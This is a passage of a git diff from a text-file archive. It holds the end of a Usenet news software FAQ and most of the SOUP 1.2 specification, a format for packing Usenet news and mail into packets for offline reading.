Lapsley with help from Erik Fair, Steven Grady, and Mike +Meyer, among others. The NNTP package is distributed on the 4.3BSD +release tape (although that is version 1.2a and out-of-date) and is +also available from the various authors, many major hosts, and by +anonymous FTP from lib.tmc.edu, mthvax.cs.miami.edu and ftp.uu.net. + +Reader NNTP clients for VMS are also available, including VMS/VNEWS +(current release 1.4) and an upcoming reader only version of ANU-NEWS. +VMS/VNEWS is available via anonymous ftp from arizona.edu (contact +jms@arizona.edu for more information) or at any site which archives +vmsnet.source. Although the current release of ANU-NEWS is usable as +a reader it can be difficult when used with a UNIX server. + +An NNTP newsreader for Macintoshs is available called HyperNews. It +is implemented as a HyperCard stack and depends on MacTCP. It is +available from many Mac archives, including apple.com and +sumex-aim.stanford.edu + +There is also an NNTP-based netnews reader for Symbolics Lisp Machines +(under Genera 7) available for anonymous FTP from ucbvax.berkeley.edu +[128.32.133.1] in pub/nntp-clients/lispm written by Ian Connolly + and maintained by Richard Welty +. In addition, another NNTP-based news +browser is available running under Genera 7 and Genera 8. It provides +mouse driven hierarchic browsing of newsgroups and articles, with +support for X11 servers on remote machines. It is available for +anonymous FTP on flash.bellcore.com [128.96.32.20] in the directory +pub/lispm/news-reader/. It is written and maintained by Peter +Clitherow + +A TOPS-20 reader was developed by Dave Edwards of SRI +, but current availability is unknown. An NNTP reader +suite for PC's running MS-DOS and having Excelan boards is available +for ftp from ames.arc.nasa.gov; get the pcrrn files. There are two +MS-DOS news readers that can be obtained from bcm.tmc.edu in the "nfs" +directory. They both require PC-NFS (from Sun) to work. They will +both work under PC/TCP from FTP Software early this year. Source will +be provided at that time. + +At least one IBM VM/SP (CMS) version of the Usenet software is +available. It is known as PSU NetNews, and it is maintained by Linda +Littleton (lrl@psuvm.bitnet/psuvm.psu.edu). Version 2.4 of the +software is available from LISTSERV@PSUVM. PSU NetNews supports only +3270 terminals, and uses XEDIT as its screen driver. Most major VM +sites appear to use this package. NetNews supports locally-stored +news, not NNTP reading. + +There is NNTP support for PSU NetNews for bulk news receipt: NNTPXFER +will poll another site for news, and NNTPRCVR will receive news sent +from a Unix NNTPXMIT process. Either program sends the news articles +to NetNews for processing. Contact Andy Hooper (hooper@qucdn.bitnet +or qucdn.queensu.ca) for more information, or obtain them from +listserv@qucdn in PUBLIC FILELIST. These programs are provided with +source, and require IBM's FAL TCP/IP and Pascal. + +There are at least two NNTP news-readers for VM. One requires IBM's +ISPF product. Contact Satish Movva (u37127@uicvm.uic.edu) for +information. The second uses XEDIT as its screen manager. Contact +Paul Campbell (pc@mbunix.mitre.org) for information. Both programs +require IBM's FAL TCP/IP and Pascal. + +An NNTP news reader is available for TSO/ISPF, called NNMVS. NNMVS is +written by Stephen Bacher at Draper +Laboratory. It requires C/370 V1R2 (though V1R1 will work) and uses +TCP/IP sockets. Contact Steve for distribution details. + +Special note on "notes" and pre-2.11 news +----------------------------------------- +Users of these systems may note problems in their interactions with the +Usenet. In particular, postings may be made by "notes" users to +moderated groups but they will not usually propagate throughout the +entire Usenet. The same may happen to users of old B news software. + +Users of "notes" or old B news software wishing to post to moderated +groups should either mail their submissions to the moderator, as +listed in the monthly posting of "List of Moderators" in the group +"news.lists", or else they should post from a system running +up-to-date B news software (i.e., 2.11). "notes" users may obtain +some patches from the comp.sources.unix archives which enable recent +versions of "notes" to interact with moderated groups properly. + +Users of old B news and "notes" are also not able to take advantage of +some other current B news features, such as the "checkgroups" message. +"notes" continues to be a "foreign" system, and B news versions before +2.10.2 are considered "obsolete." The various maintainers of the +Usenet software have never expressed any commitment to maintain +backwards compatibility with "foreign" or obsolete news systems and +are unlikely to do so; it is the responsibility of the users to +maintain compatibility of such software if they wish to continue to +interact with the Usenet. + + +Software versions & availability +-------------------------------- +You can obtain the version number of your news software by issuing the +"v" command in either "vnews" or "readnews." The "rn" version is +obtainable by typing the "v" command to the top level prompt. +Type "V" to see the version number of "nn". + +Current software is obtainable from almost any major Usenet site. +Source to the 'rn' newsreader program is also widely available. + +The following sites probably have sources to the current news software +available for anyone needing a copy: + + Site Contact + ---- ------- + munnari kre@munnari.oz.au + osu-cis postmaster@tut.cis.ohio-state.edu + philabs usenet@philabs.philips.com + pyramid usenet@pyramid.com + rutgers usenet@rutgers.edu + tektronix news@tektronix.tek.com + watmath usenet@watmath.waterloo.edu + +Sources for news 2.11, C News, "rn", and "trn" are also available in +the comp.sources.unix archives. European sites should request the +sources from their nearest Eunet backbone site. + +Standards +--------- +News programs communicate with each other according to standard protocols, +some of which are described by RFCs. An RFC is a Request For Comment, a +de facto standard in the Internet Community. It is a form of published +software standard, done through the Network Information Center (NIC) at SRI. +Copies of RFCs are often posted to the net and obtainable from archive sites. +Current news-related RFCs include the following: + + RFC 822 specifies the format of messages; RFC 1036 uses this. + RFC 977 specifies NNTP, the Network News Transfer Protocol. + RFC 1036 specifies the format of Usenet articles. + RFC 1123 amends RFC 822. + RFC 1153 specifies the digest format some moderated groups use. + +Newsgroups +---------- + +The following newsgroups cover issues discussed in this article, and can +be consulted for recent developments. + +gnu.emacs.gnews News reading under GNU Emacs using Weemba's Gnews. +gnu.emacs.gnus News reading under GNU Emacs using GNUS (in English). +news.software.anu-news VMS B-news software from Australian National Univ. +news.software.b Discussion about B-news-compatible software. +news.software.nn Discussion about the "nn" news reader package. +news.software.notes Notesfile software from the Univ. of Illinois. +news.software.readers General discussion about news reading software. + +Acknowledgements +---------------- +The preparation of this article (and Usenet itself!) was greatly +enhanced by the contributions and assistance of the following persons: +Steve Bellovin, Ray Essick, Mark Horton, Brian Kantor, Phil Lapsley, +Bob Page, Tom Truscott, and Larry Wall. Thanks, folks. +-- +Gene Spafford +Software Engineering Research Center & Dept. of Computer Sciences +Purdue University, W. Lafayette IN 47907-1398 +Internet: spaf@cs.purdue.edu phone: (317) 494-7825 diff --git a/textfiles.com/internet/soup12.txt b/textfiles.com/internet/soup12.txt new file mode 100644 index 00000000..f82ab011 --- /dev/null +++ b/textfiles.com/internet/soup12.txt @@ -0,0 +1,838 @@ + Simple Offline USENET Packet Format (SOUP) Version 1.2 + + Copyright (c) 1992-1993 Rhys Weatherley + + rhys@cs.uq.oz.au + + Last Update: 14 August 1993 + +DISTRIBUTION + +Permission to use, copy, and distribute this material for any purpose +and without fee is hereby granted, provided that the above copyright notice +and this permission notice appear in all copies, and that the name of Rhys +Weatherley not be used in advertising or publicity pertaining to this material +without specific, prior written permission. RHYS WEATHERLEY MAKES NO +REPRESENTATIONS ABOUT THE ACCURACY OR SUITABILITY OF THIS MATERIAL FOR ANY +PURPOSE. IT IS PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES. + +NOTE: This document is NOT in the public domain. It is copyrighted. +However, the free distribution of this document is unlimited. + +If you create a product which uses this packet format, it is suggested +that you include an UNMODIFIED copy of this document to inform your users +as to the packet format. All queries about this format, or requests for +the latest version should be directed to Rhys Weatherley at the above +e-mail address. + +INTRODUCTION + +For many years, the FidoNet community has been using QWK and other formats to +enable users to download their mail and conferences to be read while off-line. +This not only saves phone charges and prevents tying up BBS lines for long +periods of time; it also allows a user to use much more powerful tools on +their own machine to process the downloaded "packets" than what can be made +available in an on-line environment. + +To date however, very little work has been done in the USENET and dial-in Unix +community to facilitate the same user operations. Some attempts have been +made to use QWK, but due to QWK's limitations and unsuitability for the USENET +message formats, such efforts have not been very successful. + +Within USENET, the tendency seems to be either "dial-in to some other machine +and put up with it", or "set up your own USENET site". The former keeps the +user at the mercy of whatever user interfaces the admin of the other machine +sees fit to install, and the latter requires far more computing knowledge than +the average computer user is expected to have. Both of these can serve to +lock out large portions of the computer-literate public from experiencing +USENET. The latter option can also give rise to security problems in the form +of forged USENET messages, which a more controlled dial-in system avoids. + +The purpose of this document is to define a new packet format which is aware +of the conventions used in the USENET community, forming a middle ground +between dial-in user interfaces and full USENET connectivity. It is not +limited to downloading USENET news however. The same format could be used +to enable a Unix user to package up their Unix mailbox and download it for +later perusal. The format is extensible to other kinds of news or conference +systems, so it is feasible, although not yet defined, that QWK or FidoNet +messages could be accomodated within the same packet as USENET messages. + +REVISION HISTORY + +1.2 Add COMMANDS and ERRORS files. Renamed to "Simple Offline USENET + Packet Format". A few extra fields and type codes for the AREAS and + LIST files. Message area summaries. + +1.1 Add description of the LIST file. Everything else is identical to 1.0. + +1.0 Original version of the document. + +Previously, this document was known as the "Helldiver Packet Format" (HDPF). +A variant of HDPF, called the "Simple Local News Packet format" (SLNP) was +created by Philippe Goujard (ppg@oasis.icl.co.uk). This document combines +the features of both previous formats and the name was changed to make it +less product-oriented. + +TERMINOLOGY + +Packet: a set of files, collected into a compressed archive. + +Message packet: the primary kind of packet which contains messages for + the user to read. + +Reply packet: a special kind of packet which contains replies composed by + the user, usually in response to the messages in a message packet. + +Packet generator: a program which generates packets to be downloaded and + read, and which processes uploaded reply packets. + +Packet reader: a program which reads packets, usually by presenting the + messages in a packet to the user, and which generates reply packets. + +Packet processor: either a packet generator or a packet reader. + +Generating host: the computer on which the packet generator executes. + +Reading host: the computer on which the packet reader executes. + +Download: the transfer of a packet from the generating host to the reading + host. This transfer may take place in any fashion, although the + most common method is through the use of a file transfer protocol + such as Zmodem or Kermit. + +Upload: the transfer of a packet from the reading host to the generating host. + +Packet stream: a logical link between the generating and reading hosts over + which downloads and uploads of packets take place. + +Message area: a collection of messages which are related by a common topic + or purpose. Examples of message areas include USENET newsgroups, + Unix mailboxes, and FidoNet conferences. + +Reply message area: a special kind of message area which contains replies + being uploaded to a generating host. + +Text file: an ASCII file consisting of lines terminated by linefeed characters + (LF, 10 decimal). Some operating systems terminate lines in a text + file by CRLF pairs: such files must be converted to LF-terminated + lines for transmission in a packet. + +ANATOMY OF A PACKET + +A packet is a group of files, collected into a compressed archive. The +standard compression technique defined by this document is ZIP. Other +techniques such as ARJ, ZOO, ARC, LZH, etc can also be used. It is also +possible for Unix's tar.Z format to be used to transmit packets. The minimum +requirement is a method to collect a group of files into a single packet, +and a method to expand the packet back into the original files. ZIP is +specified to provide a common compression format for packet processors. +Each of the filenames in a packet should be stored in upper case on those +systems where case matters (e.g. Unix). + +The following file specifications may appear in a packet: + + INFO Optional textual information. + LIST List of message areas on the generating host. + AREAS Index of the message areas within the packet. + REPLIES Index of the reply message areas from the reading host. + *.MSG Text of the messages in a particular message area. + *.IDX Index information for messages in a message area. + COMMANDS Extra commands sent along with a packet. + ERRORS Errors that occurred during the execution of commands. + +Other filenames may also appear in the packet, but are not defined by this +specification, so they should be avoided by generating software, and ignored +by receiving software. + +The INFO file is an optional text file which may contain any kind of textual +information from the generating system. Typically this file would only be +present if there is some kind of urgent message that must be sent to the +receiving user. Use of this file to store the name of the generating host +and other such static information is possible, but discouraged to save space +and transmission time. If such information is required, then the COMMANDS +file can be used to transfer it. + +The LIST file is an optional text file which contains a list of all message +areas that are available on the generating host, together with the format of +the messages. It is specified further in the section "LIST FILE". + +The AREAS file is a text file which contains an index of the message areas +present within the packet, specifying the name of the message area, the +filename the messages may be found in, and the message format. This is +specified further in the next section. + +The REPLIES file is a text file which contains an index of the message areas +present within the packet that contain replies from the user which should +be mailed or posted on the generating host. In most cases, a packet will +contain either an AREAS file or a REPLIES file, but both may be present. +See the section "REPLIES FILE" below for more information. + +The *.MSG files contain the text of the messages from a single message area. +The actual format of this file depends on the type of message area specified +in the AREAS file. See the section "MESSAGE FILES" below for more information. + +The *.IDX files provide an index into the *.MSG files, usually specifying +where each message starts and the contents of some of the common message +header fields. These files are intended for use by reading software on the +recipient's system to quickly display an overview of the messages present in +a message area. See the section "INDEX FILES" below for more information. + +The COMMANDS file is a text file which contains commands to be executed on +the reading or generating hosts to change the behaviour of the hosts at +each end of a packet stream. The ERRORS file contains textual error messages +to report to a human at the host the packet is destined for. These two files +are explained further in the section "SENDING COMMANDS BETWEEN SYSTEMS" below. + +AREAS FILE + +The AREAS file is a text file containing zero or more lines, each of which +specifies a single message area, its encoding and the name of the message/index +file pair in which the messages appear. In particular, each line has the +following form: + + prefixarea nameencoding[description[number]] + +where "prefix" specifies the name of the message/index file pair, "area name" +is the name of the message area, "encoding" specifies the formats of the +message and index files and the type of message area, "description" is a +descriptive name for the message area, and "number" is the number of messages +in the message file. The last two fields are optional. Additional fields may +be added in a future version of this specification. + +The message and index files corresponding to the message area have the names +"prefix.MSG" and "prefix.IDX" respectively. If "prefix" contains alphabetic +characters, they must be upper case. + +The message area name may be any sequence of printable ASCII characters (space +through tilde). Under USENET, this is typically a dotted name like +"comp.lang.c". Other networks may include spaces or other unusual characters +in the area names, so the receiving software must be aware of this fact, +and act accordingly. Also, receiving software must deal gracefully with +characters that have the high bit set, or names that contain control +characters, since people in other countries that speak a language other than +English may wish to use their country's native encoding for the message area +name. The only hard rule is that the name may not contain TAB, CR or LF. +Receiving software should treat the name as an indivisible string to be +displayed to the user. + +The encoding field consists of two or three ASCII characters (usually +alphabetic). The first specifies the format of the message file, the second +specifies the format of the index file, and the optional third specifies the +kind of area (private or public). The following message file formats are +currently defined (case is significant): + + u USENET news articles + m Unix mailbox articles + M Mailbox articles in the MMDF format + b Binary 8-bit clean mail format + B Binary 8-bit clean news format + i Index file only + +The individual message file encodings are explained further in the next +section. The format 'i' indicates that no message file is present, and +the index file should be used as a summary of the messages in the message +area. This is explained further in the section "MESSAGE AREA SUMMARIES". +The following index file formats are currently defined (again, case is +significant): + + n No index file + c C-news overview database format + C Shorter C-news overview database format + i Offset/length pairs delineating the messages + +These types are explained further in the section "INDEX FILES" below. + +See the section "MINIMAL CONFORMANCE" for information on the minimal number +of message and index formats that should be supported by packet generators +and packet readers. + +The following kind of message areas are currently defined (again, case is +significant): + + m The message area contains private mail + n The message area contains public messages, or news + u The message area kind is unknown (the default) + +This third letter is optional. If it is not present or unknown, the kind +of area depends on the message file type. Message types 'm', 'M', and 'b' +default to kind 'm', and message types 'u', 'B' and 'i' default to kind 'n'. +It is not recommended that the value 'u' for this third letter be used, +although future versions of this specification may add additional letters, +necessitating 'u' to be placed in the third letter if the kind is unknown. +If the message area kind can be solely determined from the message file +type, it is recommended that the third letter be omitted to save space and +transmission time. + +Further types may be defined in future versions of this specification. If +the packet processor does not recognise a message file type, it should ignore +the corresponding message and index files. If the packet processor does +not recognise a index file type, it can either ignore the message file, or +attempt to break down the message file into separate messages by some other +means. If the packet processor does not recognise a message area kind, +the kind should be treated as unknown. The user should be warned if a message +area has been ignored. + +The optional message area description in the AREAS file consists of any +sequence of printable ASCII characters. This may be used to insert a +"readable" name for the message area. It may not contain TAB, CR or LF. + +A message area may appear more than once in the AREAS file, each time with a +different prefix, but this is discouraged. This could be used to split large +message areas across more than one message file, but this is more conveniently +handled by generating a separate packet containing the area contination. + +The following examples demonstrate the capabilities of the AREAS file: + +0000000 Email mn +0000001 comp.lang.c uc C Programming Language Discussions 125 +0000002 news.future Bc Future of USENET 38 + +EMAIL /usr/spool/mail/fred unm Private e-mail for fred +U000001 comp.bbs.misc MCn +U000002 comp.bbs.waffle ui + +MESSAGE FILES + +The format of the message file depends on the message file format specified in +the AREAS file. This version of the specification defines three formats, +which are in common use in the USENET and Unix community, and two additional +binary formats which permit messages to be stored with no modification or +assumptions about line lengths and byte values. + +For each of these formats, lines are terminated with LF characters. Any CR +characters in the messages should be considered as data characters, or ignored +on receipt. In particular, MS-DOS systems should strip CR characters from +text messages before writing them to a packet. + +A 'u' (USENET) message file is a text file consisting of one or more messages +prefixed with an rnews header. This header has the form "#! rnews n" where +"n" is the number of bytes in the message that follows the header, excluding +the line-feed character which terminates the header. If the number in the +header is followed by white space and other characters, these other characters +should be ignored, until the terminating LF character is encountered. + +A note about the rnews header: although a terser separator could be used, the +rnews header has the following advantages: (a) the messages can be extracted +in the absense of index files, or where the index files have an unknown type, +and (b) the message files can be imported into a USENET system as standard +rnews batches. Thus, if the user wishes to set up a real USENET site, or +simply use dedicated USENET software to read packets, they can use their +existing packet provider as a convenient read-only newsfeed, with no extra +burden placed on the system administrator of the generating system. + +A 'm' (Unix mailbox) message file is a text file consisting of one or more +messages. The first line of each message must start with the character +sequence "From ". Any remaining lines in the message which start with +"From " should have the character '>' prepended. Thus the "From " lines +delimit the message file into separate messages. + +A 'M' (MMDF mailbox) message file is a sequence of one or more messages, +separated by at least 4 Control-A characters. The message file may optionally +start and end with a sequence of such characters. If a sequence of 4 or more +Control-A characters occurs in a message, it should be "adjusted" by the +insertion of spaces to split the sequence. The use of Control-A characters +within a message is discouraged. + +The 'm' and 'M' formats were chosen for mail because of their common +occurrence in the Unix community. The generating system may elect to instead +convert a mailbox into the USENET format if it wishes, and set the area kind +to 'm' to inform the packet reader that the message area contains private +e-mail rather than news. + +The 'b' (binary mail) and 'B' (binary news) formats are identical. The +contents of each message must conform to RFC-822/1036 and may contain content +information compatible with RFC-1341 (MIME). The only difference between +the messages of these formats and the preceding formats is that no assumption +is made about line lengths, and any of the 256 values for a byte may be used +in any position. Each message is preceded by a 4-byte value which indicates +the length of the message in bytes, stored in big-endian order (i.e. high +byte first, low byte last). The difference between 'b' and 'B' is a semantic +one: message files of type 'b' are expected to contain mail messages, and +message files of type 'B' are expected to contain news messages. Thus, reader +software can make a distinction between the two if it desires. + +For most practical purposes, 'u', 'm' and 'M' should be sufficient. The binary +'b' and 'B' types should be used for articles that contain 8-bit binary data. +It is possible to use type 'u' for binary data as well, but 'm' and 'M' +cannot be because the message contents may be modified. When MIME becomes +more wide-spread, it is expected that binary messages containing programs, +sound, pictures and video will become popular, necessitating these binary +types. + +Note that MIME messages can be stored in 'u', 'm' and 'M' message files, but +any binary components should be encoded with quoted-printable or base64 (which +is expected to be the most common usage of MIME in the near future). It is +not required that 'b' or 'B' be used for MIME messages: only those containing +raw unencoded binary data (as indicated by the Content-transfer-encoding +header value "binary"). + +INDEX FILES + +This specification defines four index file types, which provide varying +degrees of support for packet readers. + +Type 'n' indicates that no index file is present, and it is up to the packet +reader to extract messages from the message file. It is useful where the +generating system is providing a USENET newsfeed using packets, and the +receiving system is not interested in the index information. + +A type 'c' index file is a text file (LF terminated lines), with one line per +message that occurs in the message file. The lines in the index file should +be in the same order as the corresponding messages. Each line has the +following form: + + offsetsubjectauthordatemesgid + refsbyteslines[selector] + +[Note: the line-wrapping here is for document-formating purposes only. No +line-wrapping occurs in the index files]. The fields have the following +semantics: + + offset Seek position in the message file of where the corresponding + message starts. The first seek position is 0. For the 'u' + format, this indicates the start of the line following the + rnews header line. For the 'm' format, this indicates the + start of the "From " line and for the 'M' format, this + indicates the start of the article after the Control-A + sequence. For the 'b' and 'B' formats, this indicates the + first byte of the message after the 4-byte message length. + + subject The "Subject:" line from the message. + + author The "From:" line from the message. + + date The "Date:" line from the message. + + mesgid The "Message-Id:" line from the message. + + refs The "References:" line from the message. + + bytes The number of bytes in the message. If this field is zero, + then it indicates that there is no corresponding message + in the message file. This is used for summaries: see the + section "MESSAGE AREA SUMMARIES" for more details. + + lines The "Lines:" line from the message. Note that this field + is pretty useless these days on USENET, but is still popular. + It is meant to indicate the number of lines in the body of + the message. Generating software may elect to re-generate + this value if it is not present in the original message, + but this is not required. + + selector A string used for summaries to request that a message be + sent in a future packet. See the section "MESSAGE AREA + SUMMARIES" for more details. This string will usually be + a number, but other values such as Message-ID's could be + used. Packet readers should treat this string as an + indivisible string to be sent in a "sendme" command in the + COMMANDS file. A zero-length string indicates that there + is no selector string. + +If any of these fields contained TAB's, newlines or other white space in the +original articles, they should be converted into single spaces. All fields +must be present, but some may be empty. The "bytes" field must not be empty, +since it provides necessary information for packet readers. Each field must +conform to the Internet RFC documents RFC-822 or RFC-1036. + +Optionally, a header line may end with one or more extra TAB-separated fields +for other RFC-compliant header fields, together with the header field names. +e.g. "Supersedes: <1234@foovax>". These fields are not defined by this +version of the specification, and are by arrangement between the generating +host and the reading host only. + +This format is compatible with the news overview (NOV) database format of +C-news. The only difference being the substitution of an offset for the +article number used by C-news, and the addition of the "selector" field. +The C-news format was designed to assist threading newsreaders, so this packet +format should provide similar assistance to threading packet readers. + +The 'C' format is similar to 'c', except that the "mesgid" and "refs" fields +are dropped. These fields can commonly be quite long and are mainly of use to +packet readers which perform Message-ID based message threading. Packet +readers which perform subject threading (i.e. sort on the subject line and +then on the date and/or arrival order) do not require such information. The +format of the header lines in this case is as follows: + + offsetsubjectauthordatebyteslines[selector] + +Further TAB-separated fields may be added in future versions of this +specification. + +The "author" field is slightly different to the 'c' format. Instead of +an RFC-822 format address, it is just the author's name, extracted from the +"From:" line of the message. Most RFC-822 and RFC-1036 "From:" lines have one +of the following forms: + + address + address (name) + name
+ +Names may sometimes be surrounded by double-quote characters, have embedded +"(...)" sequences, or contain "useless" information after a comma (",") or +slash ("/"). The main requirement is that the generating software produce +some kind of (more or less) meaningful string for the name of the author which +can be displayed to the user by a packet reader. See RFC-822 and RFC-1036 +for more information on the syntax of the "From:" line in messages. + +The 'i' index format is purely binary, using 8 bytes for each message in the +corresponding message file. The first 4 bytes specify the offset into the +message file of the message and the remaining 4 bytes specify the number of +bytes in the message. Each 4-byte quantity is stored in big-endian order +(high byte first). This format is supplied to provide a trade-off between +transmission time and easy extraction of messages from a message file. + +REPLIES FILE + +One of the requirements for an off-line reading system is a mechanism for a +user to upload replies or new messages to a generating system for mailing or +posting. While it is possible to re-use the AREAS file for this purpose, +keeping the download and upload sections separate will help prevent messages +being fed back into a network erroneously. + +The REPLIES file has a similar format to the AREAS file. Each line has the +following form: + + prefixreply kindencoding + +The "prefix" and "encoding" fields are as before. The "reply kind" field +indicates the mechanism to use when transmitting the messages in the message +file. The following values are currently defined: + + mail Transmit an RFC-822 compliant personal mail message + news Transmit an RFC-1036 compliant USENET news posting + +On a Unix system, transmission of mail and news is usually performed with the +"sendmail" and "inews" programs respectively. Additional kinds may be +specified in a future version of this specification for other message formats. +Note: it is discouraged that the kinds "mail" and "news" be used for anything +other than RFC-compliant messages. In particular, FidoNet or QWK messages +should use a different reply kind. Messages of the same reply kind can be +placed in the same message file, or in separate message files. + +Further TAB-separated fields may be added to the lines in the REPLIES file +in a future version of this specification. + +It is recommended that a message file type of 'b' or 'B' be used for sending +replies to minimise the chance of message corruption. The recommended index +file types for replies are 'i' and 'n'. The index types 'c' and 'C' are +discouraged because they do not provide useful information for reply purposes. + +The format of the messages in the message files should follow the relevant +RFC standards, with the following restriction: any "From:", "Sender:", +"Control:", "Approved:" or other similar "dangerous" header lines should be +ignored by the system transmitting the replies to prevent forgeries from +occuring. In particular, the "From:" header should be determined from the +user's login name, or some other similar means, rather than from any data +supplied in the user's message. + +In most cases, mail messages will contain "To:", "Subject:", "Cc:", "Bcc:" +and "Reply-To:" header lines, and news messages will contain "Newsgroups:", +"Subject:", "Followup-To:", "Keywords:", "Summary:" and "Reply-To:" header +lines. Other optional headers (especially MIME content headers) may also +be present. + +The automatic addition of a signature by the generating host which receives +the reply packet is discouraged. Signatures should be added by the user's +packet reading software instead, if desired. + +A method for allowing replies from more than one person to be stored in the +same packet was considered, but was rejected for security reasons. + +The following example demonstrates the capabilities of the REPLIES file: + +R001 mail bn +R002 mail bi +R003 news Bn +R004 news Bi + +LIST FILE + +The LIST file may be used to send a list of available message areas to the +receiving system. Its format is similar to the AREAS file, with the prefix +field deleted. Each line has the following form: + + area nameencoding[description] + +where "area name" is the name of the message area, "encoding" is a 2, 3 or 4 +letter message, index, area kind, and subscription code, and "description" +is an optional message area description. Further optional fields may be +added in a future version of this specification. + +The message, index, and area kind codes are the same as for the AREAS file. +The subscription code has one of the following values: + + y The user is subscribed to the message area + n The user is not subscribed to the message area + +If this field is not present, it defaults to 'n'. + +Note that the message areas in the LIST file should only be those that can +be subscribed to or unsubscribed from using a request in the COMMANDS file. +Private e-mail message areas will normally not appear in the list. + +The following example demonstrates the capabilities of the LIST file: + +alt.flame ucnn +comp.bbs.misc ucny +comp.bbs.waffle ucny +comp.lang.c ucnn C Programming Language Discussions +news.future ucny Future of USENET + +SENDING COMMANDS BETWEEN SYSTEMS + +The COMMANDS and ERRORS files contain information for changing the behaviour +of each end of a packet stream, or for reporting errors in the execution of +commands or the generation of packets. Each is a text file with LF-terminated +lines. + +The ERRORS file is the simplest: it consists of error messages from the +program which generated the packet to report on the progress of previously +executed commands. The format of these error messages is not defined, but +they should be human readable so that packet readers may present the errors +to the user for perusal. + +The COMMANDS file consists of a sequence of commands, one per line, which +modify the behaviour of the packet processor at the other end of the +packet stream. Usually these commands are sent from the packet reader +to the packet generator to change the subscribed message areas, send +files, etc. The names of the commands are NOT case significant, but SHOULD +be sent in lower case. Any commands that are not understood by a program +should be ignored. + +version n.m + + The command specifies the version of this specification that the + packet conforms to. For this document the version is "1.2". + +date dd mmm ccyy hh:mm:ss [zone] + + The date and time when the packet was created. To prevent confusion + with different country's date formats, the date MUST always appear + as "dd mmm ccyy". For example, "25 Jul 1993". This date format can + be converted to local conventions if desired. "hh:mm:ss" is a + 24-hour clock time value. The "zone" field is the number of hours + and minutes that the timezone is offset from Greenwich Mean Time as + "+HHMM" or "-HHMM". For example, US Eastern Standard Time (EST) is + "-0500", and Australian Eastern Standard Time is "+1000". If the + zone is omitted, it defaults to "local time", however the zone should + only be omitted if there is no way to determine it. + +subscribe name + + This command requests the packet generating program to subscribe to + a new message area. The area name may contain spaces, but not TABs. + Additional fields may be added in a future version of this + specification after a separating TAB. For now, ignore anything after + a TAB. This command may generate an error message if the message area + does not exist, or cannot be subscribed to. + +unsubscribe name + + This command requests the packet generating program to unsubscribe + from a message area. The same remarks about TABs and errors above + also apply to this command. + +catchup [name] + + This command requests the packet generating program to catchup on + the nominated message area. That is, to mark all messages in the + area as read and continue batching from the next message received. + If the area name is not present, the packet generating program + should catchup on all message areas. + +list [always|never] + + This command requests the packet generating program to send a + full list of all available message areas as a LIST file in + the next packet. If the argument "always" is present, then + the LIST file should be sent in every packet. The argument + value "never" reverses this. For minimal compliance, + "list always" should be treated as "list", and "list never" + should be ignored. + +hostname string + + This command specifies the name of the host or BBS the packet was + generated on. It serves an informational role only. The string + can be any sequence of printable ASCII characters. + +software string + + This command specifies the name and version of the software which + generated the packet. It servers an informational role only. The + string can be any sequence of printable ASCII characters. + +sendmeareaselector[selector[...]] + + This command requests that the packet generator send a number of + messages from the nominated message area. The "selector" arguments + are taken from the "selector" fields in a 'c' or 'C' index file. + Multiple "sendme" commands for the same message area may be present + in a COMMANDS file. The maximum length for this command is 500 + characters. Note that other commands use spaces to separate + arguments, but this command uses TAB's. + +mail y +mail n + + This command changes whether or not private e-mail should be sent + in generated packets. + +deletemail y +deletemail n + + This command changes whether or not the user's private mailbox should + be deleted after being batched into a packet. + +mailindex x + + Set the preferred mail index format, where 'x' is one of the values + 'n', 'c', 'C' or 'i'. + +newsindex x + + Set the preferred news index format, where 'x' is one of the values + 'n', 'c', 'C' or 'i'. + +get filename [putname] + + Request that a file on the generating side be placed into a packet + and sent to the packet reader. "putname" specifies the "filename" + argument for the corresponding "put" command. If "putname" is + not specified, the default is to use the base name of "filename". + If directory paths are specified, the separator must be '/'. It + should be noted that security could be breached through the use + of this command, so programs which support this command should be + very careful, preferably restricting requests to a particular + directory tree. + +put pktname filename + + This command is usually sent in response to a "get" command, although + it can be sent on its own. "pktname" specifies the name of the file + in the packet which contains the requested file's contents. The + "filename" argument specifies destination file to write the contents + to. Note that security could be breached with this command, so + the destination filename should be checked, or restricted to a + particular directory tree. It is also recommended that the user + be prompted for confirmation before writing the file. If directory + paths are specified in "filename", the separator must be '/'. It + is recommended that the extension "FIL" be used for files in a + packet which contain data sent with this command. For example, + "put 001.FIL abc.zip" + +supported cmd ... + + This command is usually sent from a packet generator to inform a + packet reader as to which commands are supported by the generating + program. The argument is a space-separated list of command names. + For example, "supported subscribe unsubscribe list", or "supported + subscribe unsubscribe catchup list mail deletemail". + +It is recommended that at least "subscribe", "unsubscribe" and "list" (with +no arguments) be supported. Packet generators are recommended to add a +"supported" line to all packets generated to inform the packet reader +which commands can be used. In the absence of a "supported" line, only +"subscribe", "unsubscribe" and "list" should be assumed to be supported. + +If more than one command is received for the same item (e.g. "subscribe", +"unsubscribe", "list", "mail", ...), then the last command in the COMMANDS +file takes precedence over any previous commands. + +The following example demonstrates a typical COMMANDS file sent from a +packet generator: + + version 1.2 + date 25 Jul 1993 12:34:38 +1000 + hostname frobozz.domain.com + software Fubar 1.3 + supported subscribe unsubscribe catchup list sendme get + put 001.FIL abc.zip + put 002.FIL def.txt + +The following example demonstrates a typical COMMANDS file sent from a +packet reader: + + subscribe comp.lang.c + subscribe comp.lang.misc + unsubscribe alt.swedish.chef.bork.bork.bork + list + get xyzzy.zip + get /usr/local/lib/fubar.txt frobozz.txt + +MESSAGE AREA SUMMARIES + +The preceding sections have described a number of features for supporting +message area summaries. This section provides greater detail. + +Since some message areas, notably USENET newsgroups, can get quite large, +the user may want to download a summary of a message area instead of all +of the messages, and then request that messages of interest be sent at +some later time for reading. Usually the summary will list the messages' +subjects, authors, and other similar "header information". Optionally, +the user may request that the first few lines of the messages also be +sent so that the user may peruse the beginning of the message and decide +whether to retrieve the rest of the message. + +This activity is supported in the following fashion in this packet format: +summary information is sent in an index file of type 'c' or 'C', usually +with no accompanying message file. Therefore, the message file format in +the AREAS file will be set to 'i'. Each line in the index file has its +"bytes" field set to 0 to indicate that the message is not present in +the message file, and the "selector" field is set to some string that can +be used to request the message by way of a "sendme" command. Usually this +selection string will be the message number of the message on the generating +host, but other values such as Message-ID's are allowable. + +If the first few lines of each message are also desired, the message file +format is set to something other than 'i', and the "offset" and "bytes" fields +in the index file may be used to extract the trimmed-down messages for +perusal. The "selector" field is once again used to request that an entire +message be sent at some later time, by way of a "sendme" command. + +It is possible to create a message area which contains both ordinary messages +and summary messages. If the "selector" field is not present, or is +zero-length, then the message should be processed in the usual way, and if +the "selector" field is present and not 